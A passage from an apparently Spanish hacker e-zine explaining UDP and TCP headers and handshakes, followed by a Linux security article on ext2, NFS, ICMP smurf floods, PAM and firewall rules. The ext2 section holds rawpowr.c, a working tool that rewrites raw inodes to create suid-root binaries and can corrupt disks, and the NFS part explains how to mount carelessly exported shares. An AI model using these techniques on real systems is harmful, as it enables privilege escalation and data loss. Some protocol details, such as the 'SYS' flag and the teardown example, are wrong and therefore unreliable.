|-----------------------------------------------------------|
| Longitud del mensaje | Suma de control |
|-----------------------------------------------------------|
| |
| DATOS |
| |
*******************************************************************************
1.- PUERTO DE ORIGEN: Cuando una aplicacion ha de mandar un mensaje UDP
hay dos posiblidades, que el mensaje precise de una
respuesta, o que no. En el caso de que precise una
respuesta este campo debera contener el
identificador para la aplicacion que manda el
paquete para que el host de destino sepa el
identificador al que debe responder. En el segundo
caso, no es necesaria una respuesta por lo que el
contenido de este campo es indiferente.
2.- PUERTO DE DESTINO: Sirve para identificar la aplicacion en el host de
destino a la que va dirigido el mensaje (ya
hablamos de ello anteriormente).
3.- LONGITUD DEL MENSAJE: Contiene el tamaño del mensaje ¿no?
4.- SUMA DE CONTROL: Operacion que sirve paravalidar un paquete y
comprobar que no ha sufrido alteraciones en el
recorrido.
El protocolo UDP es muy simple e ideal para el intercambio de mensajes
sueltos, pero plantea una serie de ploblemas que paso a comentar:
Cuando una aplicacion adquiere un puerto se reservan una serie de bufers
para la recepcion de datos, pero es imposible predecir la cantidad de
datos que se van a recibir por lo que es posible que se produzca un
fenomeno llamado "desbordamiento de UDP" o "UDP socket overflow".
Otro problema (aun que yo no lo consideraria un problema sino mas bien una
consecuencia de la simplicidad de UDP) es la posiblidad de que algunos
datos se pierdan por el camino y/o lleguen desordenados. En el primer de
los casos es la aplicacion emisora la que se ha de encargar de
re-enviar los datos perdido, mientras que en el segundo de los casos es la
aplicacion receptora la encargada de ordenar los datos
recibidos.
Doy por finalizada la explicacion de UDP, si quereis mas informacion sobre
este protocolo recomiendo la lectura del RFC 768.
Vaya IP no garantiza la entrega de datos, y UDP tampoco.... Bueno simpre
nos quedara TCP :)
TCP a diferencia que UDP si que garantiza una entrega fiable y ordenada de
los datos, y lo hace, podriamos decir, estableciendo una conexion. Veamos
como:
Un cliente TCP esta a la escucha, entonces cuando un clientre tiene la
necesidad de iniciar un conexion se lo comunica al servidor y se inicia
una conexion a 3 pasos que veremos mas adelante. Antes veamos como se
presenta la cabecera TCP y comentemos cada uno de sus campos:
******************************[ Cabecera TCP ]********************************
/-----------------------------------------------------------\
| Puerto de origen | Puerto de destino |
|-----------------------------------------------------------|
| SEQ Number |
|-----------------------------------------------------------|
| ACK Number |
|-----------------------------------------------------------|
| Longitud | Reserv | Flags | Ventana |
|-----------------------------------------------------------|
| Checksum | Puntero urgente (URG) |
|-----------------------------------------------------------|
| Opciones |
|-----------------------------------------------------------|
| |
| DATOS |
| |
******************************************************************************
1.-PUERTO ORIGEN: Aqui se indica el puerto que usa el host de origen del
paquete para la conexion.
2.-PUERTO DESTINO: Se indica al puerto al que va dirigido en el host de
destino.
3.-SEQ NUM: El numero de secuencia es un factor realmente importante en
las conexiones TCP, pues permite mantener un flujo de datos
secuenciados, posiblitando la entrega de datos fiable.
4.-ACK NUM: El numero de secuencia ACK sirve para la confirmacionde los
datos recibidos, tambien muy importante en las conexiones TCP
pues garantiza la entrega fiable de los datos.
5.-LONGITUD CABECERA: Indica el tamaño de la cabecera.
6.-FLAGS: Hay 6 flags, y estas son las siguientes URG (indica que al
paquete contiene datos urgentes), ACK (indica que el numero de
secuencia ACK es valido), PSH (da la orden de pasar los datos
inmediatamente a la aplicacion), RST (resetea la conexion), SYS
(para sincronizar el proceso de conexion), FIN (solicita una
finalizacion de conexion).
7.-VENTANA: Determina el numero de bytes que un host esta dispuesto a
recibir antes de confirmar la informacion recibida.
8.-CHECKSUM: Suma que sirve para verificar los datos de la cabecera.
9.-PUNTERO URG: En caso de estar activado el flag URG este puntero apunta
a los datos urgentes.
Vistos los distintos campos veamos ahora como funciona el establecimiento
de conexion:
El establecimiento de una conexion TCP se realiza con una negociacion a
3 pasos, para ello el cliente manda un paquete con la flag SYN activada,
ademas de informacion adicional como tamaño de la ventana, segmento
maximo que el cliente puede recivir y un numero secuencial (SEQ number)
elegido aleatoriamente. Seguidamente es el servidor el que debe responder
con sus datos, para ello manda un paquete con los flag SYN y ACK (este
ultimo indica confirmacion de que el paquete mandado por el cliente
ha llegado), y los datos de ventana, segmento maximo y SEQ number, tambien
aleatorio, ademas este paquete contendra tambien el ACK number, que debera
ser el SEQ number recivido en el paquete de peticion de conexion del
cliente, mas los datos recividos (que en la negociacion de conexion suele
ser 0) mas uno. Ahora le toca confirmar al cliente que ha recivido el
SYN/ACK por parte der servidor, para ello manda un paquete con flag ACK y
cuyo ACK number es el SEQ number recivido por parte del servidor mas los
datos (que suelen ser 0 en el establecimiento de conexion) mas uno. Todo
este proceso puede parecer un poco complicado para el no iniciado, pero en
el fondo es muy simple, quiza se vea mas claro en el siguiente ejemplo.
Host A -----------------------> Host B
Flags: SYN
SEQ: 3000
Window: 4000
Seg max: 1024
Host A <----------------------- Host B
Flags: SYN/ACK
SEQ: 2500
ACK: 3001
Window: 6000
Seg max: 1400
Host A -----------------------> Host B
Flags: ACK
SEQ: 3001
ACK: 2501
Window: 4000
Seg max: 1024
En el ejemplo podemos ver que el Host A realiza la peticion de conexion (SYN),
y que su SEQ number incial, generado aleatoriamente, es 3000. Ademas vemos que
el tamaño de la ventana es 4000, y que puede recivir segmentos de hasta 1024.
Tras la peticion de conexion, el Host B responde con una confirmacion
(SYN/ACK), y coloca en ACK 3001, que es el SEQ number enviado por el Host A
mas uno, ademas vemos que manda tambien su SEQ number inicial, que es 2500,
junto a ello tamaño de ventana, 4000, y segmento maximo, 1400. Finalmente
el Host A debe responder con un ACK, cuyo ACK sea el SEQ number recivido mas
uno.... conexion establecida!
Una vez establecida la conexion los hosts intercambiaran datos entre ellos,
para ello mandaran paquetes TCP sin ninguna flag activa (en principio), y
el otro host debera confirmar con un ACK. Un paquete podra, al mismo tiempo
que manda datos confirmar un envio, para ello debera tener el flag ACK.
Veamos ahora un ejemplo de tansferencia de datos.
Host A -----------------------> Host B
Flags:
SEQ: 3001
ACK: 2501
Window: 4000
Seg max: 1024
Datos: 1024
Host A <----------------------- Host B
Flags: ACK
SEQ: 2501
ACK: 4025
Window: 6000
Seg max: 1400
Datos: 0
Host A -----------------------> Host B
Flags:
SEQ: 4025
ACK: 2501
Window: 4000
Seg max: 1024
datos: 100
Host A <----------------------- Host B
Flags: ACK
SEQ: 2501
ACK: 4125
Window: 6000
Seg max: 1400
Datos: 200
Host A -----------------------> Host B
Flags: ACK
SEQ: 4125
ACK: 2701
Window: 4000
Seg max: 1024
datos: 1000
En el primer paquete el host A manda 1024 bytes de datos, a lo que el Host B
responde con un ACK sin datos, y cuyo ACK number sera igual al SEQ number
recivido mas la cantidad de datos (3001+1024=4025). Seguidamente el host A
manda nuevamente otro paquete que contiene datos y se repite la historia, el
Host B responde con un ACK, pero este paquete de confirmacion contiene a su vez
200 bytes de datos, que el host A debera confirmar, y como vemos asi hace.
Como hemos podido ver, un paquete de confirmacion tambien puede contener
datos, de hecho suele ser asi.
Otra cosa a tener en cuenta es que un mismo paquete ACK puede confirmar varios
paquetes, veamos el siguiente ejemplo.
Host A -----------------------> Host B
Flags:
SEQ: 4125
ACK: 2701
Window: 4000
Seg max: 1024
datos: 1000
Host A -----------------------> Host B
Flags:
SEQ: 5125
ACK: 2701
Window: 4000
Seg max: 1024
datos: 1000
Host A <----------------------- Host B
Flags: ACK
SEQ: 2701
ACK: 6125
Window: 6000
Seg max: 1400
Datos: 300
En este caso el Host B no responde el primer paquete de datos mandado por
el Host A, sinembargo el Host A sigue mandando paquetes que el host B
recive, entonces el Host B confirmara la llegada de los dos paquetes
confirmando tan solo el segundo. La pratica de la confirmacion multiple es
muy comun en las implementaciones TCP/IP de muchos sistemas operativos, e
incluso se han llegado a realizar estudios de algoritmos sobre cuando y
como responder ACK's para una mayor optimizacion.
A diferencia que en el establecimiento de conexion, la finalizacion de
conexion requiere 4 pasos. En el primero de ellos el host que solicita
finalizar la conexion manda un paquete con la flag FIN activa, con ello
informa al otro extremo que no va a mandar mas datos, entonces el otro host
mandara un ACK para confirmar dicho FIN. Una vez aqui, el host que aun
no ha mandado el FIN puede seguir mandando datos, hasta que con un
pauquete con flag FIN indique que el tambien ha terminado, a lo que el
host que mando el primer FIN respondera con un ACK.... conexion finalizada.
Digo lo mismo con el establecimiento de conexion, puede parecer complicado
para el no iniciado, pero no lo es. Veamos el ejemplo ;)
Host A -----------------------> Host B
Flags: FIN
SEQ: 6025
ACK: 3001
Window: 4000
Seg max: 1024
Host A <----------------------- Host B
Flags: ACK
SEQ: 3001
ACK: 6026
Window: 6000
Seg max: 1400
Host A <----------------------- Host B
Flags: FIN
SEQ: 3001
ACK: 6026
Window: 6000
Seg max: 1400
Host A -----------------------> Host B
Flags: FIN
SEQ: 6026
ACK: 3002
Window: 4000
Seg max: 1024
Como hemos visto a lo largo de este articulo, tanto UDP como TCP son
protocolos bastante efectivos en su campo, y al mismo tiempo sencillos, es
por ello que ni UDP ni TCP son cuestionados. No pasa lo mismo con IP,
protocolo que ha dado muetras de devilidad (visible por ejemplo en el
IP-Spoof), y por lo cual se esta diseñando la version 6 de dicho
protocolo, esta version se encuentra aun en fase experimental.
NOTA: Posiblemente dediquemos algun articulo a contar algunas cosas mas
sobre TCP como la implementacion de la memoria en los SO's para
almacenar los datos recividos y a enviar, el uso de la tecnologia
PUSH, Algoritmos de rendimiento, y alguna curiosidad, como el SWS.
*EOF*
/-----------------------------------------------------------------------\
|-[ 09 ]----[ Seguridad en Linux (II) ]----[ Medio/Alto]----------------|
\------------------------------------------------------------[ Trycky ]-/
-=( trycky )=-.-=( Seguridad En Linux y Red )=-.-=( Segunda Parte )=-
-=( 01 )=- A cerca de ...
-=( 02 )=- Introduccion ...
-=( 03 )=- Sistema de Archivos .
-=( 04 )=- ICMP "Internet Control Message Protocol" .
-=( 05 )=- Linux PAM "Pluggable Authentication Modules for Linux"
-=( 06 )=- Firewall mas a fondo .
-=( 07 )=- Algunos metodos criptograficos .
-=( 08 )=- Comprobaciones tipicas .
-=( 09 )=- Quien nos ataca .
-=( 10 )=- PSA (Pachanga Script Admin) .
-=( 11 )=- Parches para el Kernel .
-=( 12 )=- Enlaces interesantes .
-=( 01 )=--=( A cerca de ... )=-
Doy todo el derecho a distribuir este documento aunque si no lo diera tambien
lo harias osea que respeta por lo menos el contenido y deja al autor si
encuentras algun faño corrigelo y mandame una copia . Perdonarme las faltas
ortograficas por lo de las tildes , supongo que sobrevivireis.
Si quereis contactar conmigo me podreis encontrar en el Irc-Hispano con el
nick de trycky. Se recomienda leer con algun editor desde la terminal veamos
como el emacs tal vez digase por su comodidad . Los Guin words abtenerse.
Y de paso darle las gracias a quien tu ya sabes por estar ayudandome en muchas
cosas thx :) y al canal #root y #huetor_berga x) .
-=( 02 )=--=( Introduccion ... )=-
En este articulo que es una sucecion de segurida en linux primera parte vamos
a dar por echo que se tienen conocimientos basicos a explicar algunas cosas
mas complejas o no tan complejas voy a terminar de explicar muchas cosillas
que se me quedaron sin explicar como el NFS ( Network File System) y algunas
cosas mas muchas cosas que se explican aki son posibles para mas S.O los atakes
de flood con el ICMP son posibles en todos los S.O . Sip hasta en nuestro
queridisimo linux no se libra (ni linux ni ningun otro). Muchos agujeros de
seguridad a qui explicados son algo antiguos pero no es ta mal eso de saber mas
E intentare profundizar con ciertas cosas de mas nivel aunque me dejo mucho en
el tintero xP .
Otra cosa que ma salido mal como todas las que hago es que e ido incluyendo
cosas paulativamente y ha quedado algo desordenado y por que tambien el
dococumento estaba escrito hace ya tiempo y he ido agregando cosas y me ha
quedado algo engoroso osea que para los que lo leais y os parezca malo
mandarme un mail y me comentais ;) .
-=( 03 )=--=( Sistema de Archivos )=-
-=( EXT2 atributos especiales )=-
Sobre el sistema de archivos EXT2 podemos hacer ciertos cambios a ficheros
y de esa forma podemos bloquear la escritura / borrado de un fichero hasta
cambiarle una flag para cuando se haga un backup de HD no se incluya esa
parte. Todas estas operaciones se pueden hacer con 'chattr' para cambiar los
modos y 'lsattr' para visualizar los modos. A continuacion doy un listado
de lo modos a usar para 'chattr' el uso de chattr es mu simple :
chattr +-[ASacidsu] archivo
Si se quieres restaurar todos los modos de un fichero se usaria :
chattr = archivo
Lista de modos :
A :
S : Se borra el fuchero y se pone los bloques a zero se sincronizan los cambios
a : El archivo se fija de modo que solo se puede agregar sobre el (append only)
c : El archivo se comprime si se acceda al mismo el kernel lo descomprime
i : No se podra borrar ni renombrar el fichero hasta q se vuelva kitar la flag
d : Se fija el archivo para que no se reconozca en lo backups por el 'dump'
s : Se borra el fichero y los bloques son puestos a zero
u : Si se borra el fichero se crea una copia %backup%~
X : Este se usa para marcar los direcotorios a exportar con "TCFS"
lsattr : Con 'lsattr' se podra visualizar los modos de un archivo con la flag
'-l' ojo esto solo sirve para el sistema de archivos ext2 los del RaiserFS a
fastidiarse supongo . Espero que el futuro ext3 traera compatibilidad y
mejoras x) .
Tambien me hubiera gustado explicar las posibilidades del ext2 y del propio
kerlen von el VFS (virtual file system) .
Ahora adjunto un source que no tiene nada que ver con lo explicado antes pero
con este se podrian camibar los modos de los archivos modificando en el estado
puro de la particion algo mu peligroso teneis que tener permisos para montar y
desmontar el HD aunque se recomienda hacer las pruebas en un disquete :
<++> rawpowr.c
/*
* rawpowr 0.1, Jan 2000 by Mixter
*
* This tool will try to read inode tables from a ext2 partition in raw mode,
* and change bytes that indicate umask 755 for a file to umask 4755. It could
* be used to create suid root binaries from any files on a ext2 filesystem
* that can be written to. This demonstrates that most block devices should
* not be directly accessible by users at any time, and that systems should be
* run under a securelevel where raw access to such devices is impossible.
*
* WARNING! WARNING! WARNING! This not only performs raw operations on your
* harddisk, but also very sloppy ones (i.e. replace occurences of a special
* byte with another one, without honoring the ext2fs structure). Do NOT use
* this on active or mounted partitions! Do NOT use this on partitions with
* valuable non-backed-up data. I suggest you try this with a ext2fs floppy
* disk. I am not responsible for any damages this thingie might cause :).
*/
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/stat.h>
/* This is the offset where my first file on a "virgin" ext2fs
was located. This offset is relatively tiny, and therefore, probably
only the first few binaries in the root directory get chmod +s'ed */
#define E2_DATA_START 278528
#define E2_MODE_755 '\x81'
#define E2_MODE_4755 '\x8d'
void
ewsage (char *x)
{
printf ("usage: %s <writable block device>\nthis tries to change normal files
to suid binaries\n", x);
exit (0);
}
int
main (int argc, char **argv)
{
char inodes_raw[E2_DATA_START];
int effdee;
long r, i;
if (argc != 2)
ewsage (argv[0]);
(void) sync ();
printf ("rawpower by Mixter\nWarning: this program performs dangerous operations on block devices...\n\t Hit ctrl+c to terminate now!\n");
sleep (5);
if ((effdee = open (argv[1], O_RDWR)) == -1)
{
perror ("opening filesystem");
ewsage (argv[0]);
}
printf ("Reading from device...");
r = read (effdee, inodes_raw, E2_DATA_START);
printf (".");
if (r < E2_DATA_START)
r += read (effdee, inodes_raw + r, E2_DATA_START - r);
printf (".");
if (r < E2_DATA_START)
r += read (effdee, inodes_raw + r, E2_DATA_START - r);
printf (".");
if (r < E2_DATA_START)
r += read (effdee, inodes_raw + r, E2_DATA_START - r);
printf (".");
if (r < E2_DATA_START)
r += read (effdee, inodes_raw + r, E2_DATA_START - r);
printf (".\n");
for (i = 0; i < E2_DATA_START; i++)
{
if (inodes_raw[i] == E2_MODE_755)
{
inodes_raw[i] = E2_MODE_4755;
printf ("Changing possible permission byte at offset: %ld\n", i);
}
}
lseek (effdee, 0, SEEK_SET);
printf ("Writing to device...");
i = write (effdee, inodes_raw, r);
printf (".");
if (i < r)
i += write (effdee, inodes_raw + i, r - i);
printf (".");
if (i < r)
i += write (effdee, inodes_raw + i, r - i);
printf (".");
if (i < r)
i += write (effdee, inodes_raw + i, r - i);
printf (".");
if (i < r)
i += write (effdee, inodes_raw + i, r - i);
printf (".\n");
close (effdee);
(void) sync ();
printf ("Synching disk, done! (Now try: find /mountpoint -perm 4000)\n");
return 0;
}
<-->
-=( NFS "Network File System )=-
Que es el Network file system a partir de ahora NFS no NTFS que hubo unos
personajes que se creian que era lo mismo ademas lo decian totalmente
convencidos, el NTFS es el sistema de archivos de los S.O NT si ese que es
mejor que linux si claro digaser con ironia que despues hay gente que se lo
cree y todo . Voy a explicar primero el NFS y despues algunos de sus fallos
que mas que fallos son descuidos de administracion .
El nfs es un sistema de archivos de red que trabaja con el tcp/ip y sirve para
poder montar discos duros en una red digamos que tenemos 3 maquinas podemos
montar sus respectivos discos duros en el ordenador principal se puede hacer
al arancar na mas el sistema a traves del "/etc/fstab". Bueno lo primeo que
hay que hacer para poder montar el NFS es ver si tenemos los demonios
instalados en este caso seria el rpc.mountd y el rpc.nfsd cada distribucion
suele traer su propio script para el aranque en /etc/rc.d/nfserver o nfs .
El nfs esta basado en el RPC y estos se cargar al arankar la makina y se ha
de tener ejecutando el rpc.portmap o portmap a secas . Bueno ahora la
explicacion de donde lee el sistema para saber de donde puede dejar pasar para
montar las particiones y estos se incluyen en el archvio "/etc/export" ahora
pondre algunos ejemplos :
Lepton:/etc # cat exports
# Como vemos admite los comentarios de toda la vida del tipo script
/home tsnumai(rw) lepton(rw)
/usr/src tsunami(rw) lepton(rw)
En este ejemplo permitimos poder exportar a tsunmi un ordenador de mi red el
directorio "/home" y "/usr/src" como lectura y escritura (rw) lectura simple
seria (ro) .Queda claro que tsunami lo tenemos configurao en "/etc/hosts" si
no sabeis como se hace leeros el seguridad linux 1 del anterior numero del
zine. Ahora dare un lista de flags para poner en el "/etc/export" :
rw : Modo de lectura y escritura
ro : Modo de lectura
insecure : Permite el acceso sin identificarse
secure : Neitas identificarte para esa makina mediante el RPC
root_squash : Asigna cualquier solicitud desde el usuario root
no_root_squash : No asigna ningua peticion desde la uid 0 (root)
Esta son algunas hay mas pero estan son las que neitamos por ahora. Ejemplo :
Lepton:/etc # cat exports
# Aki un ejemplo peligroso
/ (ro,insecure,root_squash)
Si tienes esta linea en tu archivo mas mal debido a que cualquier persona se
puede montar tu hd en el suyo.Y que este es uno de los aguejeros de seguridad
mas famosos del nfs. Ahora biene como podemos saber info del rpc pos mu facil
con la utilidad "rpcinfo -p host" el flag -p sirve para indicar el nombre de
una makina tambien nos puede ayudar el comando showmount que te dice los
directorios que puede exportad una maquina . Y si tiene el faño de arriba esta
claro que es facil de hacer por cierto se pueden montar desde mount -t nfs el
-t de toda la vida para especificar el sistema de archivos nfs tendreis que
tener Kernel con opcion a este sistema de archvio o por lo menos crearos el
modulo y lo instalais cuando eso y despues lo volveis a borrar .
Otra cosa que tambien se puede usar sistema de autentificacion kerberos por el
nfs en vez de poner "secure" que usaria el estandard de DES podriamos poner
"kerberos" y utilizariamos este sistema de criptografia .
Para saber si una makina puede exportar direcotorios haremos uso de la utilidad
de "showmount" .
Y lo ultimo que se me olvidaba para montar las particiones con nfs seria :
mount -t nfs -o timeo=25,intr 192.168.0.10:/var/tmp /var/tmp
Para tener mas seguridad en NFS dado que estos mueven los datos en texto sin
cifra podemos usar el TCFS que se describe en la seccion 7 de algunos sistemas
criptograficos ;) .
-=( 04 )=--=( ICMP "Internet Control Message Protocol" )=-
Este protocolo el Internet Control Message Protocol que traducido al castellano
seria el Protocolo de Internet de Mensajes de Control . Y en un principio fue
creado para saber el estado de una red por ejemplo al hacer un ping os dareis
cuenta de que habra al final una apartado que pone time ese sera el retardo
que hay en que llege ese pakete y en que lo conteste tambien llamado lag.
PING localhost (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: icmp_seq=0 ttl=255 time=0.590 ms
En este ejemplo se envia un pakete solamente a mi propia makina y tiene un
retardo minimo debido a que bueno usar la cabeza y fijaros en la IP.
La utilidad mas usada para el uso del ICMP es el ping pero teneis que tener
en cuenta una cosa de que el ping solo envia paketes ECHO_REQUEST y la makina
responde ECHO_REPLY . Aunque hay muchos tipos de cabezeras tambien hay muy
buenos programas que traen un amplio de uso del icmp uno es el icmpush un
programa bastante bueno pero no recuerdo de donde me lo baje.
Aunque lo que yo quiero explicar aki es explicar todos los DOS que hay usando
este protocolo como el famoso smurf que lo que hace es mandar muchos paketes
a una makina con lo que esta sufrira un pequeño DOS o no tan pequeño no me
moy a meter en materia del propio protocolo ICMP por que esto daria un extenso
documento y ya hay muchos .
Bueno pues vamos a explicar el famoso smurf que tanto dolores de cabeza ha dado
por supuesto es mu facil evitarlo simplemente denegando el protcolo ICMP pues
esto se podria hacer con el ipchains si no sabeis lo que esto leer numeros
anteriores del ezine , Esto bloquearia el protocolo ICMP :
ipchains -A input -p icmp -j DENY
Pero a ki no queda esto una cosa que se me quedo en el tintero del doc pasado
de los firewalls es que el ipchains puede denegar a tipos de protocolos ICMP
para ver la lista puedes poner ipchains -help icmp . Por ejemplo si queremos
denegar los echo replys quedaria algo a si :
ipchains -A input -j DENY -p icmp -s ! 127.0.0.0/255.255.255.0 8 -l
Denegara a todo el mundo dentro del protocolo ICMP a los echo-request (ping)
y de paso lo logeamos a traves del syslogd para mayor seguridad y ver quien nos
toca la moral .
Tambien se puede denegar el traceroute siendo los mismo q la linea de arriba
pero denegando el ICMP de bloque 33 .
Ahora dare una lista menorizada de cada numero :
echo-reply (pong)
destination-unreachable
source-quench
redirect
echo-request (ping)
router-advertisement
router-solicitation
time-exceeded (ttl-exceeded)
parameter-problem
timestamp-request
timestamp-reply
address-mask-request
address-mask-reply
Dentro de cada uno de estos hay mas opciones por eso si haceis saldreis de
dudas y os saldra toda la lista :
Lepton:~ # ipchains -help icmp
Si no teneis el ipchains y quereis seguir viendo todos los bloques donde
vendran si no en su libreria de alguna parte el los lee no ? . Esta se haya
en "/usr/include/netinet/ip_icmp.h" .
Y ahora que es lo que hace el tan famoso papa-smurf que traducio significaria
algo como papa pitufo . Y lo que hace este programa mandar muchos pero que
muchos y cuando digo mucho me quedo corto echo request que no es mas que el
ping y en cuestion de 30 segundos envio unos 6000 paketes que son pocos nop
y que ademas usa un archivo con broadcast y que son las broadcast son makinas
que vuelven a mandar un broadcast le manda un pakete y echa lo renvia pues si
le añadimos esto ya nos quedamos con que el smurf es mu util para relentizar
las conexiones y si las relentiza tanto que no le da tiempo ni ha responder
a ciertas peticiones le daran por muerto y lo ignoraran por lo que se podria
caer del irc , Esto es simple pero mortifero aunque tiene solucion mas que
simple , para la solucion lease arriba pero tambien hay mas formas de parar
el famoso smurf sin necesidad de recurrir al firewall esto se debe a que el
smurf hace uso de las broadcast y nuestro Kernel de linux es un sistema serio
y por medio del "sysctl" podriamos cambiar bastantes parametros para que
hiciese caso omiso a las peticiones de estas :
lepton:~ # sysctl -A | grep broadcasts
net.ipv4.icmp_echo_ignore_broadcasts = 0
Con esto nos damos cuenta que trae por defecto no ignorar a los icmp echo de
alguna broadcast pues mu facilmente ponemos :
lepton:~ # sysctl -w net.ipv4.icmp_echo_ignore_broadcasts=1
net.ipv4.icmp_echo_ignore_broadcasts = 1
Y ya estara todo en orden para ver la capacidad de "systcl" a fondo nada mas
que pongas :
lepton:~ # sysctl -A | less
O tambien man sysctl ;) .
Para el systcl que sirve para cambiar los valores del Kernel en tiemepo de
ejecucion deberemos tener compilado el nucleo para ello con la opcion de
Sysctl Support .
lepton:/usr/src/linux # cat .config | grep CONFIG_SYSCTL
CONFIG_SYSCTL=y
Y si no la teneis ya sabeis a compilar sa dicho.
Una cosa quiero dejar clara el ataque del smurf no se puede parar por lo menos
a modo usuario y con este firewall y denegando los icmp provenientes de broadz
lo unico que podemos hacer es resister mas el ataque que algo es algo el propio
filtrado del ataque lo tiene que hacer nuestro ISP .
Si no quereis molestaros en usar el sysctl pos os vais a "/proc/sys/*" y lo
echais un vistazo.
El sysctl en algunos casos lo unico que hace es :
echo 1 > /proc/sys/*
Donde "*" seria el fichero a marcar ;) .
Bueno algo mas del ICMP tambien estaba haciendo un programa para saber el S.O
por medio del icmp aunque esto es algo inexacto por que seria por medio de que
cada Sistema Operativo de por si da a responder ciertos paketes y otros no es
el caso del Windows que si le pides un paquete ICMP timestap te responde a
bolea xP umm ya sabeis todos que la Pila TCP/IP del Windows se programa en dos
lineas : return /dev/random; xD mas o menos tonces si vemos que esa Maquina
nos responde aleatoriamente a los paquetes timestap pos sabremos claramente que
es un windows otra cosa es que este bloqueado el ICMP tonces ya nos serviria de
poco a qui lo explicado .
Entonces si sabemos que cada S.O responde de una forma o otra podriamos hacer
un programa que fue sacando estas conclusiones "ICMPos" x) lo taba haciendo
si me da tiempo terminarlo lo saco pal zine pero de toas formas es mu cutre.
Otra cosa de como se puede averiguar el S.O por medio de un ICMP es que cada
nucleo del sistema operativo como explique antes responde de una forma u otra
al igual que el Windows devuelve como le da la gana en ciertos tipos de
peticiones ICMP tiene unos limites asociados es decir el kernel del linux tiene
un limite de ICMP unreachable de 80 en 4 segundos y un 1/4 de retraso si se
sobrepasa este limite dejaria de responder y tambien en la cabezera que te
devuelven el pakete mas el mensaje de error y algunos S.O suelen variar todos
los cambios de la cabezera IP teniendo estos datos previamente conocidos
podriamos saber de que S.O se trata.
Sobre el ICMP nada mejor que leerse su RFC por que para que voy a explicar
todas las caracteristicas .
RFC : 792 , 1122 .
-=( 05 )=--=( Linux PAM "Pluggable Authentication Modules for Linux" )=-
Que es el pam son modulos de autentificacion para linux es decir son librerias
que se pueden usar sobre ciertos programas como "login" por ejemplo . Que nos
sirven para tener un correcto sistema de identifiacion y una ciertas reglas
para el proceso de autentificacion podemos controlar el numero de intentos cada
tantos intentos fallidos le denegase la entrada por x segundo etc y todo esto
sin la necesidad de volver a compilar los programas .
Toda la configuracion del PAM se encuentra en :
/etc/pam.conf
Aunque tambien ahora lo tienen distribuido por "/etc/pam.d/*" .
http://www.kernel.org/pub/linux/libs/pam/index.html
Actualmente se encuentran modulos para muchos programas :
ProFTPD
Samba
Squid
sudo
SRP
Y un largo etc .
-=( 06 )=--=( Firewall mas a fondo )=-
A qui solo explicare cosas algo mas complejas de las cuales me he documentado
pero que a un a si no las domino del todo y muchas son gracias a el How To del
Ipchains y algun doc que me encontre por ahi .
Ahora explicare el TOS ( Type Of Service) que es una propiedad del IP por la
cual da mayor o menor importacia en la salida de un paquete por ejemplo si
queremos tener una maxima prioridad a el FTP que consume mas ancho de banda
y dejar con menos ancho de banda a las News por ejemplo o a cualquier otro
servicio digamos por ejemplo que si tenemos un servidor web en una maquina lo
login serria darle toda la prioridad al WWW y denegar el resto .
Doy una pequeña lista con los valores correspondientes :
TOS Name Value Typical Uses
Minimum Delay 0x01 0x10 ftp, telnet
Maximum Throughput 0x01 0x08 ftp-data
Maximum Reliability 0x01 0x04 snmp
Minimum Cost 0x01 0x02 nntp
Ejemplo para que tenga minimo retardo los paquetes con destino el IRC/6667 :
ipchains -A output -p tcp -d 0.0.0.0/0 6667 -t 0x01 0x10
Tambien se podria poner de esta forma definiendo en "/etc/services" :
irc 6667/tcp
ipchains -A output -p tcp -d 0.0.0.0/0 irc -t 0x01 0x10
Pero si lo que queremos es dar maximo retardo a los paquetes del ftp :
ipchains -A output -p TCP -d 0.0.0.0/0 ftp -t 0x01 0x02
Mas documentacion acerca de las cabezeras IP : rfc791
Tambien explicar algo del NetFilter el nuevo firewall para los nucleos
2.3.x & 2.4.x .
El netfilter usa de programa re administracion del firewall el Iptables que
una empresa contrato al creador del ipchains para que lo hiciese su uso la
verdad que no distingue mucho del de ipchains se han añadido nuevas mejoras
como poder administrar las reglas NAT desde el iptables y poder hacer un
router NAT con el kernel y el netfilter . Bueno ante todo decir que el NAT
sirve para hacer el ip masquerarding es decir si tenemos una red interna de
tres maquinas : 192.168.1.{1-2-3} y nuestra ip publica hacia internet es :
62.66.66.2 . Lo que se encargaria el NAT seria encapsular la ip 192.168.1.2
por ejemplo y convertirla en 62.66.66.2 que haria un consulta a playboy.com
por ejemplo . Otra cosa que se puede hacer con el netfilter "iptables" es
conseguir que un puerto de la ip publica 62.66.66.2 se rediriga hacia otra
maquina de la intranet como podria ser :
IP_CUALQUIERA -> <- 62.66.66.2:8080 -> <- 192.168.1.3:80
De todas formas no deseo alargarme mucho por que para eso estaba haciendo otro
documento. Por lo que espero haber dejado todo un poco mas claro .
Y otra cosa a destacar en iptables es le sistema de logeo dado que con ipchains
se daba a desear algo mas.
Otra cosa que me pidieron que dijese es cuando denegais el syn globalmente y
si entrais al irc en algunos servidor os chekean si teneis abierto el 1080
socks y el 113 para el ident . Lo que unico que hay que hacer es mandar un
reject al servidor de irc para que os de como que no teneis cerrado , esto es
debido a que si cortamos el "syn" que es la flag de peticion de conexion el
servidor de IRC nos estara un buen rato atosigando haber que pasa con esos
puertos xD , os pongo las reglas :
IPCHAINS :
ipchains -A input -j REJECT -p tcp -d 127.0.0.0/2 1080
ipchains -A input -j REJECT -p tcp -d 127.0.0.0/2 113
IPTABLES :
iptables -A INPUT -j REJECT -p tcp -s 0/0 1080
iptables -A INPUT -j REJECT -p tcp -s 0/0 113
Otra cosa que trae el iptables "netfilter" es la opcion matches con la que
se podra meter un limite , por ejemplo :
iptables -A FORWARD -p tcp --syn -m limit --limit 1/s -j ACCEPT
Esto limitara el syn a 1 por segundo y se podra evitar el syn flooding .
Para no dejarlo para otro documento las reglas basicas para denegar el ICMP
con el iptables es practicamente igual que en ipchains :
iptables -A INPUT -s 0/0 -p icmp --icmp-type 8/13/33 -j DROP -l
Solo que ahora cuando queramos especificar el tipo de icmp se debera de hacer
con la flag "--icmp-type" .
Si quereis saber algo mas del netfilter pos en : croot.digicode.org , di una
charla sobre netfilter .
-=( 7 )=--=( Algunos metodos criptograficos )=-
Por lo primero decir que useis el PGP en especial GnuPG por ser GNU . No voy
a dar una explicacion del PGP por que esta mas que vista y si no a buscar que
ya hay mucha . Ahora explicare que es el MD5 , HASH y algo sobre el CFS .
-=( MD5 )=-
El MD5 no es un sistema de criptrografia por asi decirlo nos sirve para dar
un pequeño resumen de un fichero y a si saber mas adelante si ese fichero a
